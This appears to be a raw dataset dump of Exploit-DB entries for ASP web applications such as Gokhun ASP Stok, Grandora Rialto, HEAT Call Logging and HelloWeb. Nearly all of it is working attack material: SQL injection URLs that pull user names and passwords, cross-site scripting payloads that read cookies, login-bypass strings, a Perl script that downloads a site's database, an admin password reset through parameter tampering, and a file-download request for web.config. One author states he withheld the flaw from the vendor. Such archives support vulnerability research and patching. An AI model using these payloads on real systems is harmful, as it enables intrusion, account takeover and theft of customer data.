deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15118
Description: gokhun asp stok 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-09-26
Author: KnocKout

Exploit:
============================================
Gokhun ASP Stok v1.0 - Multiple Remote Vulnerabilities
============================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout 
[+] Greatz : DaiMon 
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Script : Gokhun ASP Stok v1.0
~Software: http://www.gokhun.com & http://www.aspindir.com/goster/6092
~Vulnerability Style : Multiple vulnerabilities
~Demo : http://www.site.com/asp/pages/main/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~ Explotation ~~~~~~~~~~~
======== SQL Injection =========

http://[Victim]/?eylemD=urunler&olayD=&islemD=duzenle&kimlikD=1+union+select+0,1,name,ctelephone,4,5,6+from+customers+where+Kimlik=2

==================================
======= Cross Site Scripting =====

http://[Victim]/?eylemD=hizmetlerimiz&olayD=digerhizmetlerimiz%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

==============================
Remote Database DisClosure Exploit
==========================


#!/usr/bin/perl -w
#
# Gokhun ASP Stok v1.0 -> Remote Database Disclosure Exploit
# Coded: KnocKout
# Date: 26.09.2010
# Thanks: DaiMon, BARCOD3
#
 
 
 
use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('title Vural Portal 2010 Remote Database Disclosure Exploit');
system('color 4');


if(@ARGV < 2)
{
print "[-]Ornegi inceleyin\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}

print "\n************************************************************************\n";
print "\* Gokhun ASP Stok v1.0 -> Remote Database Disclosure Exploit              *\n";
print "\* Exploited By : KnocKout                                                  *\n";
print "\* msn :   knockoutr[at]msn[dot]com                                 *\n";
print "\* Special Thankz : DaiMon                                      *\n";
print "\*********************************************************************\n\n\n";

($TargetIP, $path, $File,) = @ARGV;

$File="database/yb.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n wait!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "C:/db.mdb");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to C:/db.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
Exploit-DB #17921
Description: GotoCode Online Bookstore - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2011-10-03
Author: Nathaniel Carew

Exploit:
###############################################################################
# Exploit Title : GotoCode Online Bookstore Multiple Vulnerabilities
# Vulnerability : Privilege Escalation / Remote Database Download
# Date      : 03/10/2011
# Author    : Nathaniel Carew
# Email	    : njcarew@gmail.com
# Impact    : High
# Software Link : http://www.gotocode.com/apps.asp?app_id=3&
# Platform  : ASP.NET
# Tested on : MS Windows Server Standard 2003 SP2 / IIS 6
# Thanks    : Peregrinus & Birch Meister General
###############################################################################
 
Overview:
---------
Database:
If the application is configured using the default directory structure and an
access database then a user can download the access database.

Privilege Escalation:
By modifying the Form_member_id and p_Form_member_id variables to the ID of the admin
account (default ID is 7) on the MyInfo.aspx page in the POST data you can reset the admin
password with the password you entered into the appropriate feed to gain full admin rights to the web application.

 
Proof of Concept:
-----------------
http://localhost/[path]/BookStore_MSAccess.mdb
http://localhost/[path]/MyInfo.aspx?p_Form_member_id=7&Form_member_id=7&Form_member_[CREDENTIAL_REDACTED]_name=Administrator&Form_last_name=Account&Form_email=admin%40localhost&Form_address=&Form_phone=&Form_notes=&Form_card_type_id=1&Form_card_number=[PII_REDACTED]1
 
Impact:
-------
By resetting the admin password an attacker would be able to completely control the application, users
and their associated data such as stored credit card information. Successful database exploitation
would allow an attacker to download the complete database of users information including email addresses
usernames, passwords, credit cards and associated billing and ordering data.
Exploit-DB #30807
Description: GOUAE DWD Realty - 'Password' SQL Injection
Type: webapps
Platform: asp
Date: 2007-11-26
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/26579/info

DWD Realty is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following proof of concept is available:

Username: Admin
[CREDENTIAL_REDACTED]' OR 'x'='x
Exploit-DB #3195
Description: GPS CMS 1.2 - 'print.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-25
Author: ajann

Exploit:
*******************************************************************************
# Title   :  GPS 1.2 Content Managing System (print.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.guox.de || http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=7227&lngWId=4
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//print.asp?id=[SQL]

Example:

//print.asp?id=-1%20union%20select%200,0,0,Benutzername,0%20from%20userdb%20where%20ID=10
//print.asp?id=-1%20union%20select%200,0,0,Passwort,0%20from%20userdb%20where%20ID=10

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-25]
Exploit-DB #7991
Description: GR Note 0.94 Beta - (Authentication Bypass) Remote Database Backup
Type: webapps
Platform: asp
Date: 2009-02-04
Author: JosS

Exploit:
GR Note v0.94 beta Remote Database Disclosure Vulnerability
 
Author: Jose Luis Gongora Fernandez
        (a.k.a) JosS <sys-project[at]hotmail.com>
 
Web:    http://hack0wn.com/
 
/*************************/
TEST ON VERSION GR Note v0.94 beta, (in my localhost)
Download : http://sirini.net/grboard/board.php?id=grnote&articleNo=5
/*************************/
 
 !xpl: /admin/admin.backup.php
 
 __h0__

# milw0rm.com [2009-02-04]
Exploit-DB #29107
Description: Grandora Rialto 1.6 - '/admin/default.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21191/info

Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/admin/default.asp
username: ' or '1' = '1
passwd: ' or '1' = '1
Exploit-DB #29117
Description: Grandora Rialto 1.6 - 'forminfo.asp?refno' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21191/info
          
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
          
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
          
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/forminfo.asp?refno=[xss]
Exploit-DB #29108
Description: Grandora Rialto 1.6 - 'listfull.asp?ID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21191/info
 
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/listfull.asp?ID='[sql]
Exploit-DB #29114
Description: Grandora Rialto 1.6 - 'listmain.asp?cat' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21191/info
       
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
       
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
       
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/listmain.asp?cat=[xss]
Exploit-DB #29109
Description: Grandora Rialto 1.6 - 'listmain.asp?cat' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21191/info
  
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/listmain.asp?cat='[sql]
Exploit-DB #29110
Description: Grandora Rialto 1.6 - 'printmain.asp?ID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21191/info
   
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
   
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
   
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/printmain.asp?ID='[sql]
Exploit-DB #29111
Description: Grandora Rialto 1.6 - 'searchkey.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21191/info
    
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
    
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
    
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/searchkey.asp?Keyword='[sql]
http://www.example.com/searchkey.asp?Keyword=1&I1=1&searchin='[sql]
Exploit-DB #29115
Description: Grandora Rialto 1.6 - 'searchkey.asp?Keyword' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21191/info
        
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
        
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
        
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/searchkey.asp?Keyword=[xss]
Exploit-DB #29112
Description: Grandora Rialto 1.6 - 'searchmain.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21191/info
     
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
     
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
     
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/searchmain.asp?I1=1&area='[sql]
http://www.example.com/searchmain.asp?I1=1&area=all&cat='[sql]
Exploit-DB #29116
Description: Grandora Rialto 1.6 - 'searchmain.asp?cat' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21191/info
         
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
         
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
         
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/searchmain.asp?I1=1&area=all&cat=[xss]
Exploit-DB #29113
Description: Grandora Rialto 1.6 - 'searchoption.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21191/info
      
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
      
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
      
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/searchoption.asp?I12=1&cat=all&area='[sql]
http://www.example.com/searchoption.asp?I12=1&cat=all&area=all&cost1='[sql]
http://www.example.com/searchoption.asp?I12=1&cat=all&area=all&cost1=0&cost2='[sql]
http://www.example.com/searchoption.asp?I12=1&cat=all&area=all&cost1=0&cost2=10000&acreage1='[sql]
http://www.example.com/searchoption.asp?I12=1&cat=all&area=all&cost1=0&cost2=10000&acreage1=0&acreage2=.5&squarefeet1='[sql]
Exploit-DB #10483
Description: GuestBookPro Script - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-16
Author: ViRuSMaN

Exploit:
==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


==============================================================================
        [»] ~ Note : Thx 2 Egyptian National Team
==============================================================================
        [»] Free ASP GuestBookPro Script Remote Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ GuestBookPro ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ Codefixer GuestBookPro - Free ASP GuestBook Script ]
    [»] Download:           [ http://www.codefixer.com/app_guestbookpro/default.asp ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://[target].com/[path]/db/guestbook.mdb


Author: ViRuSMaN <-
Exploit-DB #35872
Description: H3C ER5100 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2011-06-22
Author: 128bit

Exploit:
source: https://www.securityfocus.com/bid/48384/info

The H3C ER5100 is prone to a remote authentication-bypass vulnerability.

Attackers can exploit this issue to bypass the authentication mechanism and perform unauthorized actions. 

http://www.example.com:8080/home.asp?userLogin.asp
http://www.example.com:8080/wan_NAT.asp?userLogin.asp
Exploit-DB #2371
Description: Haberx 1.02 < 1.1 - 'tr' SQL Injection
Type: webapps
Platform: asp
Date: 2006-09-15
Author: Fix TR

Exploit:
+++++++++++++++++++++++++++++++++++++++++++++++++++
+ Haberx v1.1 (tr) SQL Injection Vulnerability    +
+ Author  : Fix TR                                +
+ Site    : www.hack.gen.tr                       +
+ Contact : fixtr[at]bsdmail.com                  +
+++++++++++++++++++++++++++++++++++++++++++++++++++

+ Download: http://www.aspindir.com/Goster/3983
+ Versions: 1.02 between 1.1
+ Bug In  : kategorix.asp
+ Risk    : High


+ Admin Nick:
http://[target]/[path]/kategorihaberx.asp?id=13+union+select+1,uyex_adi,1+from+uyex+where+uyex_id=1

+ Admin Password: (Big Letters)
http://[target]/[path]/kategorihaberx.asp?id=13+union+select+1,uyex_sifre,1+from+uyex+where+uyex_id=1

# milw0rm.com [2006-09-15]
Exploit-DB #9809
Description: HEAT Call Logging 8.01 - SQL Injection
Type: webapps
Platform: asp
Date: 2009-09-28
Author: 0 0

Exploit:
[=[ ;otokoyama; ]=]


-=[HEAT Call Logging Version 8.01]=-
"The HEAT family is a comprehensive service solution,
combining core technologies with a variety of expansion options,
so any enterprise can build a tailored solution."

-=[web]=-
http://www.frontrange.com/heat.aspx

-=[attack]=-
U:' OR HEATPass IS NOT NULL OR HEATPass = '
P:' OR HEATPass IS NOT NULL OR HEATPass = '

-=[Effect]=-
Logs in as last logged in user.
There would be many variations of the above, but who can be bothered.

-=[NOTICE]=-
Due to vendor and product distaste I have not informed them of this vuln.

I guess this is a 0-day then..

Via their webpage current version appears to be 9.0,
could apply to this version aswell

SHOUTS:4chan for being shit, yes I will troll in a POC.


antilimit owns you
Exploit-DB #48659
Description: HelloWeb 2.0 - Arbitrary File Download
Type: webapps
Platform: asp
Date: 2020-07-10
Author: bRpsd

Exploit:
# Exploit Title: HelloWeb 2.0 - Arbitrary File Download
# Date: 2020-07-09
# Vendor Homepage: https://helloweb.co.kr/
# Version: 2.0 [Latest] and previous versions
# Exploit Author: bRpsd
# Contact Author: cy[at]live.no
# Google Dork: inurl:exec/file/download.asp
# Type: WebApps / ASP
-----------------------------------------------------



Vulnerable code:
######################################################################################################
Dim filepath, filename, root_path, fso, root_folder, attachfile, objStream, strFile

filepath = Request.QueryString("filepath")
filename = Request.QueryString("filename")
filepath = Replace(filepath,"/","\")

root_path = server.MapPath("/")
Set fso = CreateObject("Scripting.FileSystemObject")
Set root_folder = fso.GetFolder(root_path)

attachfile = root_path & filepath & "\" & filename

Response.Clear
Response.ContentType = "application/unknown"
Response.AddHeader "Pragma", "no-cache"
Response.AddHeader "Expires", "0"
Response.AddHeader "Content-Transfer-Encoding", "binary"
Response.AddHeader "Content-Disposition","attachment; filename = " & Server.URLPathEncode(filename)

Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open

objStream.Type = 1
objStream.LoadFromFile attachfile

Response.BinaryWrite objStream.Read
Response.Flush
######################################################################################################

Vulnerability: Arbitrary File Download
Location: http://localhost/exec/file/download.asp
Parameters: filename & filepath

Proof of concept:

GET /exec/file/download.asp?filepath=/&filename=web.config HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

RESPONSE:
HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: application/unknown; Charset=utf-8
Expires: 0,Thu, 09 Jul 2020 10:51:14 GMT
Server:
Content-Transfer-Encoding: binary
Content-Disposition: attachment; filename = web.config
Set-Cookie: ASPSESSIONIDQQCBDRBB=BEMDPMDDKFHNFKFMJGHIKKKI; path=/
Access-Control-Allow-Origin: *
x-xss-protection: 1; mode=block
Date: Thu, 09 Jul 2020 10:51:14 GMT
Connection: close
Exploit-DB #36402
Description: Hero 3.69 - 'month' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2011-12-01
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/50878/info

Hero is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Hero 3.69 is vulnerable; other versions may also be affected. 

http://www.example.com/hero_os/events?month=January.htaccess.aspx%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
Exploit-DB #29040
Description: High Performance Computers Solutions Shopping Cart - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-14
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21093/info

High Performance Computers Solutions Shopping Cart is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://example.com/search_list.asp?Hpecs_Find=maingroup&searchstring='[sql]
http://example.com/search.asp?search='[sql]
http://example.com/category.asp?catcode='[sql]
http://example.com/product.asp?productid='[sql]